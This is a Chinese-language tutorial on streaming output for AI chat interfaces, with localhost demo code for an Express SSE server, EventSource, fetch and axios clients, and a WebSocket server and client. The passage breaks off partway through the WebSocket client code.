阅读视图

发现新文章,点击刷新页面。

如何实现流式输出?一篇文章手把手教你!

本文代码github仓库地址——github.com/Objecteee/a…

一、什么是流式输出?

流式输出是一种数据传输模式,在这种模式下,数据不是作为一个完整的、单一的包裹在一次响应中发送给客户端,而是被分成许多小的数据块 (chunks) ,并在服务器端生成的同时,持续不断、逐块地推送到客户端。例如下面的Gemini回答过程——

GIF 2025-12-15 19-26-17.gif

二、为什么我们需要流式输出?

流式输出的核心价值在于改变了用户对延迟的感知,将原本漫长的等待转化为即时的内容消费。

1.极大地提升用户体验 (UX):

在传统的 请求-响应模型中,用户必须等待服务器生成并返回全部数据才能看到结果。例如,一个 AI 回复可能需要 5-10 秒。

流式输出则实现了内容逐块、逐字到达和显示。用户感知到的延迟从 “总生成时间” 缩短为 “首个数据块到达时间” 。这种实时反馈机制让用户感觉程序在即时响应,显著降低了等待的焦虑感。

在 AI/LLM 场景中, 流式输出是必需品,它将数秒的枯燥等待变成了持续的阅读过程,是用户留存和产品体验的基石。

2.提高系统和网络效率:

流式输出技术(尤其是 SSEWebSocket)通过建立持久连接,减少了重复建立和关闭 HTTP 连接的开销。 数据生成多少推送多少,网络带宽得到更有效的利用,特别是在处理大量异步或长时间运行的任务时,效率优势更为明显。

简单来说,流式输出的重要性在于:它把 “等待” 变成了 “消费” ,是现代交互式应用和实时数据平台的标配

三、主流的流式输出实现

流式输出主要有两种方案,第一种是SSE(基于HTTP)的单向流式输出;第二种是基于WebSocket的双向流式输出。

1.基于SSE的单向流式输出

GIF 2025-12-15 22-02-13.gif

(1)后端实现

SSE 流式输出的后端代码是有固定的格式和严格的要求。这种格式是 Server-Sent Events 规范的核心,也是客户端浏览器能够正确解析流的关键。

A. 基础格式

这是最常用、最核心的格式,用于传输数据块。

字段 格式 作用 示例
Data data: [内容] 包含要发送的实际数据。客户端 event.data 接收到的就是 : 后面的内容。 data: Hello world\n\n
分隔符 \n\n 至关重要! 必须以两个换行符标记一个事件块的结束。
B. 完整格式

SSE 规范还允许其他可选字段,用于更复杂的流控制:

字段 格式 作用 示例
Event event: [事件名] 允许发送不同类型的事件,客户端可以通过 eventSource.addEventListener('事件名', ...) 监听。 event: update\n
ID id: [唯一标识] 允许为每个事件分配一个唯一 ID。如果客户端断线重连,它会发送 Last-Event-ID,服务器可以从该 ID 恢复推送。 id: 12345\n
Retry retry: [毫秒数] 全局设置。 客户端断开连接后,浏览器等待该毫秒数后再尝试重连。 retry: 10000\n\n

一个包含所有字段的完整事件块示例如下:

event: system-update
id: 999
retry: 5000
data: {"status": "ok", "progress": 80}

注意: 即使使用了多个字段,最后也必须以 \n\n 结束

const express = require('express');
const app = express();
const PORT = 3000;

app.get('/api/stream-sse', (req, res) => {
    // ------------------------------------------------------------------
    // A. 固定的 HTTP 响应头设置 (关键!)
    // ------------------------------------------------------------------
    res.setHeader('Content-Type', 'text/event-stream');
    res.setHeader('Cache-Control', 'no-cache');
    res.setHeader('Connection', 'keep-alive');
    // 允许跨域访问
    res.setHeader('Access-Control-Allow-Origin', '*'); 

    // 可选:设置断线重连时间间隔(单位:毫秒)
    // res.write('retry: 5000\n\n'); 

    console.log('--- SSE Connection Established ---');

    // 模拟数据流式生成
    let counter = 0;
    const intervalId = setInterval(() => {
        if (counter >= 8) {
            // 4. 结束流:发送 [DONE] 标记(常见实践)并关闭连接
            res.write('data: [DONE]\n\n');
            res.end();
            clearInterval(intervalId);
            console.log('--- SSE Stream Ended ---');
            return;
        }

        counter++;
        const payload = `这是第 ${counter} 块数据,时间:${new Date().toLocaleTimeString()}`;
        
        // ------------------------------------------------------------------
        // B. 固定的数据体格式 (严格要求!)
        // ------------------------------------------------------------------
        const sseData = 
        // 1. data 字段:必须以 "data: " 开头
        `data: ${payload}\n` + 
        // 2. 两个换行符:必须以 "\n\n" 结尾,标志一个事件的结束
        `\n`; 

        // 3. 实时写入数据到响应流
        res.write(sseData);
        console.log(`Pushed: ${payload}`);

    }, 1500); // 每 1.5 秒推送一次

    // 处理客户端断开连接的清理工作
    req.on('close', () => {
        clearInterval(intervalId);
        console.log('Client closed connection.');
    });
});

app.listen(PORT, () => {
    console.log(`SSE Server running on http://localhost:${PORT}`);
});
  1. 设置正确的 Header: 必须设置 Content-Type: text/event-stream
  2. 实时写入: 使用 Node.js 的 res.write() 方法,而不是等待数据全部收集完毕后使用 res.send()res.send() 会尝试关闭连接,不适用于流式输出。
  3. 遵守 data: ...\n\n 格式: 任何偏离这个格式的输出都可能导致客户端 EventSource 无法正确触发 onmessage 事件。
  4. 连接清理: 监听 req.on('close', ...) 事件,确保在客户端断开连接时,服务器能停止不必要的定时器或资源占用。

(2)前端实现

A.浏览器原生实现(EventSource)

EventSource 是浏览器专为 SSE 规范设计的高级 API。它自动处理了底层 HTTP 连接、数据格式解析、事件触发,以及断线重连等所有复杂逻辑。

优势
  • 最简洁: 只需要几行代码即可开始监听流。
  • 可靠性高: 内置自动重连机制,非常健壮。
  • 无需手动解析: 自动将 data: 字段的内容提取出来,作为 event.data
局限性
  • 只能 GET 请求。
  • 不支持自定义 Header: 无法在请求头中传递 Token(只能通过 URL query 参数)。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>EventSource 客户端示例</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; padding: 20px; }
        h1 { color: #333; }
        #status { font-weight: bold; margin-bottom: 15px; padding: 8px; border-radius: 4px; }
        .status-connecting { color: orange; background-color: #fff3e0; }
        .status-open { color: green; background-color: #e8f5e9; }
        .status-closed { color: red; background-color: #ffebee; }
        #output-area { 
            border: 1px solid #ddd; 
            padding: 15px; 
            min-height: 150px; 
            white-space: pre-wrap; /* 保持换行和空格 */
            background-color: #fcfcfc;
            overflow-y: auto;
        }
        .chunk { margin-right: 5px; color: #00796b; }
        .divider { color: #bdbdbd; }
    </style>
</head>
<body>
    <h1>EventSource 实时流接收端</h1>
    <p id="status" class="status-connecting">连接状态: 正在初始化...</p>
    
    <h3>接收到的消息流:</h3>
    <div id="output-area"></div>

    <button onclick="closeStream()">🛑 停止接收流</button>

    <script>
        // 请确保这里的 URL 与您的 Node.js 后端 SSE 路由匹配
        const STREAM_URL = 'http://localhost:3000/api/stream-sse'; 
        
        const statusElement = document.getElementById('status');
        const outputElement = document.getElementById('output-area');
        
        let eventSource;

        function updateStatus(text, className) {
            statusElement.textContent = text;
            statusElement.className = '';
            statusElement.classList.add(className);
        }

        function initializeSSE() {
            outputElement.innerHTML = ''; // 清空旧内容
            
            // 1. 创建 EventSource 实例并建立连接
            eventSource = new EventSource(STREAM_URL);
            updateStatus('连接状态: 正在连接...', 'status-connecting');

            // 2. 监听连接打开事件
            eventSource.onopen = () => {
                updateStatus('连接状态: ✅ 已建立', 'status-open');
                console.log('SSE connection opened successfully.');
            };

            // 3. 监听接收到数据事件 (核心逻辑)
            eventSource.onmessage = (event) => {
                const chunk = event.data;
                console.log('Received chunk:', chunk);

                // 检查结束标记(与后端定义的 "[DONE]" 匹配)
                if (chunk === '[DONE]') {
                    eventSource.close();
                    updateStatus('连接状态: 🟢 流已完成并关闭', 'status-closed');
                    console.log('Stream finished and closed by server.');
                    return;
                }

                // 实时追加数据到 UI
                // 使用 innerHTML 追加,可以实现更丰富的样式
                outputElement.innerHTML += `<span class="chunk">${chunk}</span><span class="divider"> | </span>`;

                // 确保滚动到底部以查看最新内容
                outputElement.scrollTop = outputElement.scrollHeight;
            };

            // 4. 监听错误事件(处理断线等)
            eventSource.onerror = (error) => {
                console.error('EventSource encountered an error:', error);
                
                if (eventSource.readyState === EventSource.CLOSED) {
                    updateStatus('连接状态: ❌ 已关闭或断开', 'status-closed');
                } else {
                    // EventSource 默认会尝试自动重连
                    updateStatus('连接状态: ⚠️ 发生错误,正在尝试重连...', 'status-connecting');
                }
            };
        }

        // 5. 客户端主动关闭流的函数
        function closeStream() {
            if (eventSource && eventSource.readyState !== EventSource.CLOSED) {
                eventSource.close();
                updateStatus('连接状态: 🛑 用户手动关闭', 'status-closed');
                console.log('User manually closed the stream.');
            }
        }

        // 页面加载完成后立即启动 SSE
        window.onload = initializeSSE;
    </script>
</body>
</html>
阶段一:连接初始化与建立

此阶段旨在建立一个持久化的 HTTP 连接,并开始监听。

步骤 动作描述 核心代码 关键点
1. 创建 EventSource 实例 使用 EventSource 构造函数传入 SSE 接口 URL,向服务器发起连接请求。 const es = new EventSource(url); 浏览器自动处理 底层 HTTP GET 请求。
2. 监听连接打开 监听 onopen 事件,确认与服务器的连接已成功建立。 es.onopen = () => { ... } 此时流式数据传输通道已打开。
3. 更新 UI 状态 onopen 中,更新界面状态,提示用户数据流已开始。 setStatus('已连接'); 提升用户体验。
阶段二:数据接收与处理(核心)

此阶段是持续接收服务器推送的数据,并实时更新 UI。

步骤 动作描述 核心代码 关键点
4. 监听消息事件 监听 onmessage 事件。每当服务器推送一个完整的 data:...\n\n 事件块时,此回调函数就会触发。 es.onmessage = (event) => { ... } event.data 包含了服务器推送的实际内容。
5. 实时数据追加 将接收到的数据 (event.data) 追加到当前展示的文本末尾(而不是替换)。 currentMsg += event.data; 这是实现“打字机”效果的关键。
6. 处理自定义事件 如果后端使用了 event: [name] 字段,前端可以通过 es.addEventListener('name', callback) 针对性地处理不同类型的事件。 es.addEventListener('update', ...) 适用于需要区分不同业务类型数据的场景。
阶段三:连接维护、关闭与错误处理

此阶段处理流的正常结束、网络错误和重试逻辑。

步骤 动作描述 核心代码 关键点
7. 监听流结束标记 根据与后端约定的结束标记(如 [DONE]),判断流是否完成。 if (event.data === '[DONE]') { ... } 流的正常结束, 避免无限等待。
8. 关闭连接 当流结束或用户主动点击“停止”按钮时,主动调用 close() 方法。 es.close(); 释放客户端资源。
9. 监听错误与重连 监听 onerror 事件。当连接出错时,浏览器会根据服务器设置的 retry: 时间间隔自动尝试重连。 es.onerror = (error) => { ... } 自动重试 是 SSE 相比于手动 fetch 的巨大优势。
B.Fetch API实现

当需要更强大的控制力、自定义请求头,或处理非标准 SSE 格式的流时,fetch 是最佳选择。

利用 fetch 返回的 response.body,它是一个 ReadableStream 对象。开发者需要获取这个流的 Reader,进入一个循环,手动读取数据块、解码,并根据 \n\n 规则手动解析 SSE 格式。

优势
  • 控制力强: 可以发送 POST、PUT 等请求,并设置自定义 Header(用于鉴权)。
  • 通用性: 可以处理任何基于 HTTP 的流式数据,不限于 SSE 格式。
  • 新标准: 符合现代 Web 标准,浏览器支持良好。
挑战
  • 实现复杂: 需要手动编写数据解析和错误重连的代码。
  • 性能考量: 频繁的循环读取和字符串拼接/解码操作需要谨慎优化。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>Fetch API SSE 客户端示例</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; padding: 20px; }
        #status { font-weight: bold; margin-bottom: 15px; color: orange; }
        #output-area { 
            border: 1px solid #ddd; 
            padding: 15px; 
            min-height: 150px; 
            white-space: pre-wrap;
            background-color: #fcfcfc;
            overflow-y: auto;
        }
    </style>
</head>
<body>
    <h1>🔗 Fetch API 模拟 SSE 接收端</h1>
    <p id="status">连接状态: 待启动</p>
    
    <h3>接收到的消息流:</h3>
    <div id="output-area"></div>

    <button onclick="startStream()">▶️ 启动流</button>
    <button onclick="stopStream()">🛑 停止接收流</button>

    <script>
        const STREAM_URL = 'http://localhost:3000/api/stream-sse'; // 确保 URL 正确
        
        const statusElement = document.getElementById('status');
        const outputElement = document.getElementById('output-area');
        
        let controller = null; // 用于控制请求中止 (AbortController)

        function updateStatus(text, color) {
            statusElement.textContent = text;
            statusElement.style.color = color;
        }

        async function startStream() {
            if (controller) stopStream(); // 确保前一个流已停止

            controller = new AbortController();
            const signal = controller.signal;
            let textDecoder = new TextDecoder('utf-8');
            let buffer = ''; // 缓冲区,用于存储不完整的事件块

            outputElement.innerHTML = '';
            updateStatus('连接状态: 正在连接...', 'orange');

            try {
                // 1. 发起 Fetch 请求,设置 signal 用于中止
                const response = await fetch(STREAM_URL, {
                    method: 'GET',
                    headers: { 'Accept': 'text/event-stream' },
                    signal: signal 
                });

                if (!response.body) {
                    throw new Error("响应体不是一个可读流。");
                }

                // 2. 获取 ReadableStream 的 Reader
                const reader = response.body.getReader();

                // 3. 循环读取流数据
                while (true) {
                    const { done, value } = await reader.read();
                    
                    if (done) {
                        updateStatus('连接状态: 🟢 流已完成', 'green');
                        console.log('Stream finished.');
                        break;
                    }

                    // 4. 解码字节数据并追加到缓冲区
                    // { stream: true } 允许在流继续时进行解码
                    buffer += textDecoder.decode(value, { stream: true });

                    // 5. 手动解析 SSE 消息块
                    // SSE 消息以 \n\n 结束,分割缓冲区
                    let messages = buffer.split('\n\n');
                    buffer = messages.pop(); // 最后一个不完整的块留在缓冲区

                    messages.forEach(message => {
                        if (message) {
                            // 6. 提取 data: 字段内容
                            const dataMatch = message.match(/data: (.*)/);
                            if (dataMatch && dataMatch[1]) {
                                const data = dataMatch[1].trim();

                                if (data === '[DONE]') {
                                    controller.abort(); // 接收到结束标记,主动中止请求
                                } else {
                                    // 7. 处理接收到的数据
                                    outputElement.innerHTML += `<span class="chunk">${data}</span><span class="divider"> | </span>`;
                                    outputElement.scrollTop = outputElement.scrollHeight;
                                }
                            }
                        }
                    });
                }
            } catch (error) {
                if (error.name === 'AbortError') {
                    updateStatus('连接状态: 🛑 流被用户/DONE标记中止', 'gray');
                    console.log('Fetch request aborted successfully.');
                } else {
                    updateStatus(`连接状态: ❌ 错误: ${error.message}`, 'red');
                    console.error('Fetch SSE 错误:', error);
                }
            }
        }

        function stopStream() {
            if (controller) {
                controller.abort();
                controller = null;
            }
        }
        
        // 页面加载完成后,设置初始状态
        window.onload = () => updateStatus('连接状态: 待启动', 'black');
    </script>
</body>
</html>

Fetch API 实现流式输出是高度可定制但相对复杂的技术方案,它要求开发者手动处理数据的接收、解码和 SSE 格式的解析。整个流程可以清晰地划分为三个主要阶段。

阶段一:初始化请求与准备工作

此阶段的目标是发起请求并设置流读取所需的环境。

步骤 动作描述 关键技术点
1. 准备控制器 创建 AbortController 实例。用于在流结束或需要中断时,能够中止 fetch 请求。 new AbortController()
2. 发起 Fetch 请求 发起 fetch 请求,将 controller.signal 附加到请求配置中。可在 headers 中设置鉴权信息。 fetch(url, { signal: controller.signal, headers: {...} })
3. 获取流读取器 检查响应是否成功 (response.ok),然后通过 response.body.getReader() 获取 reader 对象。 response.body.getReader()
4. 准备解码器与缓冲区 实例化 TextDecoder 用于将字节解码为字符串,并初始化一个 buffer 变量用于暂存不完整的数据片段。 new TextDecoder('utf-8'), let buffer = ''

阶段二:循环读取、解码与解析(核心)

此阶段是整个流程最复杂的部分,需要持续从流中拉取数据并手动解析 SSE 格式。

步骤 动作描述 关键技术点
5. 启动读取循环 使用 while (true) 或类似的循环结构开始持续读取数据。 while (true)
6. 读取数据块 调用 await reader.read()。它会暂停执行,等待服务器推送新的数据块 (value: Uint8Array)。 const { done, value } = await reader.read()
7. 判断流结束 检查 done 属性。如果为 true,跳出循环,进入清理阶段。 if (done) break;
8. 解码与缓冲 使用 TextDecoder 将原始字节 value 解码为字符串,并将其追加到缓冲区 (buffer) 中。 buffer += decoder.decode(value, { stream: true })
9. 手动解析 SSE 使用 buffer.split('\n\n') 将缓冲区内容分割成潜在的 SSE 消息数组。然后将数组中最后一个不完整的块重新放回缓冲区。 buffer.split('\n\n'), buffer = messages.pop()
10. 提取数据 遍历其余完整的消息块,使用正则表达式(如 /data: (.*)/)手动提取 data: 字段后的实际内容。 message.match(/data: (.*)/)
11. 实时处理 将提取到的数据追加到 UI 界面,并执行所需的业务逻辑。 UI 更新、滚动到底部

阶段三:连接清理与错误处理

此阶段确保流的正确终止和资源释放。

步骤 动作描述 关键技术点
12. 处理结束标记 在数据处理逻辑中,如果检测到服务器推送的结束标记(如 [DONE]),则立即调用 controller.abort() 终止流。 controller.abort()
13. 错误捕获 将整个 fetch 和流读取循环包裹在 try...catch 块中。捕获网络错误和因 controller.abort() 产生的 AbortError try...catch (error)
14. 释放资源 无论是正常结束还是出错,确保所有相关资源(如 reader)得到释放。 AbortController 自动处理了请求的终止。

通过这种手动控制的方式,Fetch API 提供了对流的最高级别控制,但代价是代码实现更为复杂,且需要开发者手动处理自动重连等健壮性机制。

C.Axios API实现

使用 axios 实现流式输出主要依赖其配置项,但在浏览器环境下的表现不如 fetchEventSource

axios 的配置中,需要显式设置 responseType: 'stream'。在 Node.js 环境中,这会返回一个 Node.js 的流,处理起来比较方便。但在浏览器环境中,axios 对流的封装不如 fetch 原生。

优势
  • Node.js 友好: 在 Node.js 环境中处理流式数据很方便。
  • 代码统一: 如果应用大量依赖 axios,可以避免引入 fetch
挑战
  • 浏览器兼容性/稳定性: 浏览器端对 axios 流的稳定支持不如 fetchEventSource
  • 解析依然需要手动:fetch 一样,您仍然需要获取流并手动进行 SSE 格式的解析和解码。
  • 潜在的内存问题: 如果流处理不当,可能会导致内存占用过高。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>Axios 客户端模拟 SSE 示例</title>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; padding: 20px; }
        #status { font-weight: bold; margin-bottom: 15px; color: orange; }
        #output-area { 
            border: 1px solid #ddd; 
            padding: 15px; 
            min-height: 150px; 
            white-space: pre-wrap;
            background-color: #fcfcfc;
            overflow-y: auto;
        }
        .chunk { margin-right: 5px; color: #00796b; }
        .divider { color: #bdbdbd; }
    </style>
</head>
<body>
    <h1>🛠️ Axios 模拟 SSE 接收端</h1>
    <p id="status">连接状态: 待启动</p>
    
    <h3>接收到的消息流:</h3>
    <div id="output-area"></div>

    <button onclick="startStream()">▶️ 启动流</button>
    <button onclick="stopStream()">🛑 停止接收流</button>

    <script>
        const STREAM_URL = 'http://localhost:3000/api/stream-sse';
        
        const statusElement = document.getElementById('status');
        const outputElement = document.getElementById('output-area');
        
        let cancelTokenSource = null; // 用于取消请求的 Axios Token
        let lastProcessedIndex = 0;   // 追踪上次处理到的数据索引
        let buffer = '';              // 用于存放不完整的 SSE 事件块
        let isConnected = false;      // 标记是否已建立连接

        function updateStatus(text, color) {
            statusElement.textContent = text;
            statusElement.style.color = color;
        }

        async function startStream() {
            if (cancelTokenSource) stopStream();

            cancelTokenSource = axios.CancelToken.source();
            lastProcessedIndex = 0;
            buffer = '';
            isConnected = false;
            outputElement.innerHTML = '';
            updateStatus('连接状态: 正在连接...', 'orange');

            try {
                await axios.get(STREAM_URL, {
                    responseType: 'text',
                    cancelToken: cancelTokenSource.token,
                    onDownloadProgress: (progressEvent) => {
                        let xhr = progressEvent.currentTarget || progressEvent.target;
                        if (progressEvent.event && progressEvent.event.target) {
                            xhr = progressEvent.event.target;
                        }
                        
                        if (!xhr || typeof xhr.responseText === 'undefined') {
                            return;
                        }
                        
                        const responseText = xhr.responseText;
                        const newChunk = responseText.substring(lastProcessedIndex);
                        lastProcessedIndex = responseText.length;
                        buffer += newChunk;

                        // 收到数据时更新连接状态
                        if (!isConnected && newChunk.length > 0) {
                            isConnected = true;
                            updateStatus('连接状态: ✅ 已连接,正在接收数据...', 'green');
                        }

                        let messages = buffer.split('\n\n');
                        buffer = messages.pop() || '';

                        messages.forEach(message => {
                            if (message.trim()) {
                                const dataMatch = message.match(/data: (.*)/);
                                if (dataMatch && dataMatch[1]) {
                                    const data = dataMatch[1].trim();
                                    if (data === '[DONE]') {
                                        stopStream(true);
                                    } else {
                                        outputElement.innerHTML += `<span class="chunk">${data}</span><span class="divider"> | </span>`;
                                        outputElement.scrollTop = outputElement.scrollHeight;
                                    }
                                }
                            }
                        });
                    }
                });
            } catch (error) {
                if (axios.isCancel(error)) {
                    updateStatus('连接状态: 🛑 流已中止', 'gray');
                } else {
                    updateStatus(`连接状态: ❌ 错误: ${error.message}`, 'red');
                    console.error('Axios SSE 错误:', error);
                }
            }
        }

        function stopStream(isDone = false) {
            if (cancelTokenSource) {
                cancelTokenSource.cancel('Stream terminated.');
                cancelTokenSource = null;
                if (isDone) {
                    updateStatus('连接状态: 🟢 流已完成并关闭', 'green');
                }
            }
        }
        
        window.onload = () => updateStatus('连接状态: 待启动', 'black');
    </script>
</body>
</html>

Axios 并非为 SSE 设计的,因为它基于传统的 XMLHttpRequest (XHR) 模型,或者在 Node.js 中基于 http 模块。在浏览器环境中,Axios 没有原生 EventSourceReadableStream 的支持。

因此,使用 Axios 实现流式输出的标准工作流程是利用 XHR 的 onprogress 事件监听机制(在 Axios 中表现为 onDownloadProgress 回调),手动获取每次新增的数据块,并手动进行 SSE 格式的解析。

  1. 没有自动解析: 必须手动解析 data: 字段和 \n\n 分隔符。
  2. 手动追踪数据: 每次 onDownloadProgress 触发时,返回的是当前已接收的全部数据,而不是新增的数据。您需要一个指针来追踪上次处理到了哪里,并提取出新的数据块。
  3. 不支持自动重连: 必须手动实现错误检测和重连逻辑(本示例不包含重连,但需注意)。
流式输出技术的选择
1. 🥇 EventSource API

这是实现 SSE 的标准和首选方案。

  • 实现复杂度: 最低。 浏览器原生支持,代码量最少。

  • 核心优势: 内置健壮性。 自动处理 SSE 数据格式解析、消息事件 (onmessage) 触发,并内置了断线重连机制(支持服务器设置 retry: 间隔)。

  • 主要局限:

    • 只能 GET 请求。
    • 不支持自定义 Header 鉴权。 只能通过 URL 参数传递 Token,安全性相对较低。
  • 选择原则: 强烈推荐用于大多数场景,尤其是在安全性要求不涉及请求 Header(例如,使用 Session Cookie 或 URL Token 鉴权)且只需要单向数据推送时。

2. 🥈 Fetch API + ReadableStream

这是在需要高控制度时使用的现代标准方案。

  • 实现复杂度: 中高。 需要手动获取流阅读器 (getReader()),并进入循环,手动进行 SSE 数据解析(解码字节、查找 \n\n、提取 data:)。

  • 核心优势: 控制力最强。

    • 支持自定义 HTTP Header(适用于传递 JWT 等鉴权信息)。
    • 支持 POST 等其他 HTTP 方法。
    • 可以处理非标准的流格式。
  • 主要局限: 必须手动编写复杂的 SSE 格式解析逻辑和错误重连机制。

  • 选择原则: 当您必须在请求 Header 中传递鉴权信息(例如 JWT),或者需要处理非标准的流格式时,应选择此方案。

3. 🥉 Axios + onDownloadProgress

这是基于旧的 XHR 机制的模拟方案,通常不推荐用于现代 Web 应用的 SSE。

  • 实现复杂度: 高。 依赖 onDownloadProgress 事件,每次事件触发返回的是全部已接收数据,因此需要额外的逻辑来追踪上次处理的索引,以提取新增的数据块。

  • 核心优势: 如果您的项目大量依赖 Axios,可以保持技术栈的统一。

  • 主要局限:

    • 实现流程复杂且易错。
    • 性能不如原生 API,且不支持原生的自动重连。
    • 在浏览器环境中,缺乏对流的标准化支持。
  • 选择原则: 仅在需要兼容旧环境或因特殊限制无法使用 EventSourcefetch 的情况下考虑。

2.基于WebSocket的双向流式输出实现

WebSocket 协议与 SSE(单向流)和传统的 HTTP 请求(一次性传输)有着本质的区别,它在客户端和服务器之间建立了一个持久的、全双工(双向) 的通信通道,非常适合需要高频率、低延迟交互的场景。

1. 协议升级

WebSocket 连接的建立始于一个标准的 HTTP 请求,这个请求包含了特殊的 Header,用于请求将连接从 HTTP 升级(Upgrade) 到 WebSocket 协议。一旦升级成功,连接就不再受限于传统的 HTTP 请求-响应模型。

2. 全双工通信

一旦连接建立,服务器和客户端可以独立、同时地互相发送数据帧。

  • 客户端 \to 服务器: 客户端可以随时发送输入、控制命令或心跳包。
  • 服务器 \to 客户端: 服务器可以随时发送流式数据、状态更新或响应。

这种双向性使得 WebSocket 不仅可以用于流式输出(服务器推数据),还可以用于实时接收用户输入,完美支持 实时聊天协作编辑 等场景。

WebSocket bidirectional communication diagram的图片

3. 基于帧的传输

WebSocket 的数据传输是基于的,而不是基于文本流或 HTTP 请求。这使得传输效率更高,延迟更低。帧可以包含文本数据(Text Frame)或二进制数据(Binary Frame)。


基于 WebSocket 的双向流式输出需要前端和后端分别使用专门的库和 API 进行实现。

GIF 2025-12-15 22-03-28.gif

1. 后端实现 (Node.js/ws 或 Socket.IO)

后端需要一个专门的 WebSocket 服务器来管理连接和发送数据帧。

步骤 动作描述 关键技术点
1. 握手与连接 监听 HTTP 升级请求,接受连接,并分配一个唯一的 WebSocket 连接对象。 ws.on('connection', (socket) => { ... })
2. 接收客户端输入 监听客户端发送过来的数据帧,用于触发 AI 任务或控制流。 socket.on('message', (input) => { // Process input })
3. 流式生成与推送 在 AI 模型生成数据的过程中,将数据块封装成 WebSocket 帧并实时发送。 socket.send(data_chunk)
4. 维护连接 维护连接状态,处理心跳包(Ping/Pong),并在客户端断开时清理资源。 socket.on('close', ...)
const WebSocket = require('ws');

// 创建 WebSocket 服务器,监听 8080 端口
const wss = new WebSocket.Server({ port: 8080 });

console.log('WebSocket Server running on ws://localhost:8080');

// 监听客户端连接事件
wss.on('connection', function connection(ws) {
    console.log('--- Client Connected ---');
    
    // 1. 监听客户端发来的消息(双向输入)
    ws.on('message', function incoming(message) {
        const clientMessage = message.toString();
        console.log(`Received message from client: ${clientMessage}`);

        try {
            const data = JSON.parse(clientMessage);
            
            if (data.command === 'START') {
                // 客户端请求开始流式输出
                startStreaming(ws, data.prompt);
            } else if (data.command === 'STOP') {
                // 客户端请求停止流式输出 (实时控制)
                stopStreaming(ws);
                ws.send(JSON.stringify({ status: 'info', message: 'Streaming stopped by client.' }));
            }
        } catch (e) {
            console.error('Error parsing client message:', e);
            ws.send(JSON.stringify({ status: 'error', message: 'Invalid JSON format.' }));
        }
    });

    // 监听连接关闭事件
    ws.on('close', function close() {
        console.log('--- Client Disconnected ---');
        // 清理资源,停止该连接上的所有流
        stopStreaming(ws);
    });

    // 初始问候
    ws.send(JSON.stringify({ status: 'ready', message: 'Welcome! Send {"command": "START", "prompt": "..."} to begin streaming.' }));
});

// 存储当前正在流式输出的连接和定时器
const activeStreams = new Map();

/**
 * 模拟 AI 模型流式输出的函数
 * @param {WebSocket} ws - 当前连接的 WebSocket 实例
 * @param {string} prompt - 客户端提供的输入提示
 */
function startStreaming(ws, prompt) {
    if (activeStreams.has(ws)) {
        ws.send(JSON.stringify({ status: 'info', message: 'Stream is already active.' }));
        return;
    }

    let counter = 0;
    const intervalId = setInterval(() => {
        counter++;
        const chunk = `[Chunk ${counter}] Output for "${prompt.substring(0, 15)}...": Data block ${counter}.`;
        
        // 2. 实时将数据块作为 WebSocket 帧发送给客户端
        // 使用 JSON 格式封装数据,方便客户端解析
        const dataToSend = JSON.stringify({ 
            type: 'data', 
            content: chunk,
            count: counter
        });
        
        // 检查连接是否仍然打开
        if (ws.readyState === WebSocket.OPEN) {
            ws.send(dataToSend);
            console.log(`Pushed data chunk ${counter}`);
        } else {
            // 如果连接关闭,停止流
            clearInterval(intervalId);
            activeStreams.delete(ws);
        }

        if (counter >= 15) {
            // 3. 流结束,发送结束标记
            clearInterval(intervalId);
            activeStreams.delete(ws);
            if (ws.readyState === WebSocket.OPEN) {
                 ws.send(JSON.stringify({ type: 'done', message: 'Streaming complete.' }));
            }
            console.log('--- Streaming finished ---');
        }
    }, 500); // 每 500 毫秒发送一个数据块

    activeStreams.set(ws, intervalId);
}

/**
 * 停止指定连接的流式输出
 */
function stopStreaming(ws) {
    if (activeStreams.has(ws)) {
        clearInterval(activeStreams.get(ws));
        activeStreams.delete(ws);
    }
}

2. 前端实现 (Browser WebSocket API)

前端使用浏览器原生的 WebSocket API 来建立连接和处理双向通信。

步骤 动作描述 关键技术点
1. 建立连接 使用 new WebSocket(ws://url) 建立连接。注意协议是 ws://wss:// new WebSocket('ws://localhost:8080')
2. 监听连接状态 监听 onopen(连接成功)、onerroronclose 事件。 ws.onopen = () => {...}
3. 接收流式输出 监听 onmessage 事件,接收服务器推送的流式数据帧,并实时追加到 UI。 ws.onmessage = (event) => { // Append event.data }
4. 发送客户端输入 当用户有新输入或需要发送控制命令时,通过 send() 方法发送数据帧到服务器。 ws.send(JSON.stringify({command: 'stop'}))

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>WebSocket 双向流式输出</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        #status { font-weight: bold; margin-bottom: 15px; }
        #output-area { border: 1px solid #ccc; padding: 15px; min-height: 150px; background-color: #f9f9f9; white-space: pre-wrap; overflow-y: scroll; }
        .control-panel { margin-top: 20px; }
    </style>
</head>
<body>
    <h1>💬 WebSocket 双向流式交互</h1>
    <p id="status" style="color: gray;">连接状态: 待连接...</p>
    
    <h3>服务器输出流:</h3>
    <div id="output-area"></div>

    <div class="control-panel">
        <label for="prompt">输入提示:</label>
        <input type="text" id="prompt" value="请给我写一篇关于AI流式输出的文章" style="width: 300px;">
        <button onclick="connectWebSocket()">建立连接</button>
        <button onclick="startStream()">▶️ 启动流式输出</button>
        <button onclick="stopStream()">🛑 实时停止流</button>
        <button onclick="closeWebSocket()">断开连接</button>
    </div>

    <script>
        const WS_URL = 'ws://localhost:8080';
        let ws = null;

        const statusElement = document.getElementById('status');
        const outputElement = document.getElementById('output-area');
        const promptInput = document.getElementById('prompt');

        function log(message) {
            outputElement.innerHTML += `<p style="margin: 0; padding: 2px 0;">${message}</p>`;
            outputElement.scrollTop = outputElement.scrollHeight;
        }
        
        function updateStatus(text, color) {
            statusElement.textContent = text;
            statusElement.style.color = color;
        }

        // 1. 建立 WebSocket 连接
        function connectWebSocket() {
            if (ws && ws.readyState === WebSocket.OPEN) {
                updateStatus('连接已存在', 'blue');
                return;
            }

            ws = new WebSocket(WS_URL);
            updateStatus('正在连接...', 'orange');
            outputElement.innerHTML = '';

            // 监听连接成功事件
            ws.onopen = () => {
